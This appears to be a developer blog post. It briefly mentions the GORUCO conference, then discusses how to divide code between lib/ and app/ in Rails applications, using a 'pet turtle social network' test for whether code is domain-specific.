And before you ask, yes, the good folks at Confreaks will be recording the talks and we hope to have them posted within a few weeks of the conference (if not sooner).

If you’re attending GORUCO this year, definitely stop me and say “Hello!” (Either during the day, or aboard the ::ahem:: yacht during the evening.)

Full disclosure: I had the honor of being a member of the GORUCO Program Committee this year that selected the speakers, so it may not be a complete coincidence that my interests are well represented. :)

lib – Application specific libraries. Basically, any kind of custom code that doesn’t belong under controllers, models, or helpers. This directory is in the load path.

That’s not particularly helpful. By using the word “libraries” in the definition, it’s recursive. And what does “application specific” mean? Isn’t all the code in my Rails app “application specific” by definition?

So teams are left to work out their own conventions. If you quizzed the members of most teams, I’d bet they’d give different answers to the “What goes in lib/?” question.

Antipattern: Anything that’s not an ActiveRecord

As we know from the secret to Rails object oriented design, well crafted applications grow many plain old Ruby object that don’t inherit from anything (and certainly not the framework). However, the most common antipattern is pushing any classes that are not ActiveRecord models into lib/. This tremendously harmful to fostering a well designed application.

Treat non-ActiveRecord classes as first class citizens. Requiring these classes be stored in a lib/ junk drawer away from the rest of the domain model creates enough friction that they tend not be created at all.

Pattern: Store code that is not domain specific in lib/

As an alternative, I recommend any code that is not specific to the domain of the application goes in lib/. Now the issue is how to define “specific to the domain”. I apply a litmus test that almost always provides a clear answer:

If instead of my app, I were building a social networking site for pet turtles (let’s call it MyTurtleFaceSpace) is there a chance I would use this code?

Now things get easier. Let’s look at some examples:

• An OnboardingReport class goes in app/. This depends on the specific steps the users must go through to get started with the application.
• A SSHTunnel class used for deployment goes in lib/. MyTurtleFaceSpace needs to be deployed too.
• Custom Resque extensions go in lib/. Any site may use a background processing system.
• A ShippingRatesImporter goes in app/ if it imports a data format the company developed internally. On the other hand, a FedExRateImporter would probably go in lib/.
• A GPGEncrypter class goes in lib/. Turtles need privacy too.

Some developers find it distasteful to have classes like OnboardingReport and ShippingRatesImporter living in app/models/. This doesn’t bother me as I consider them to be part of the broadly defined “domain model”, but I’ll often introduce modules like Reports and Importers to group these classes which avoids them cluttering up the root of the app/models/ directory.

I’m sure there are other patterns for dividing code between lib/ and app/. What rule of thumb does your team follow? What are the pros and cons?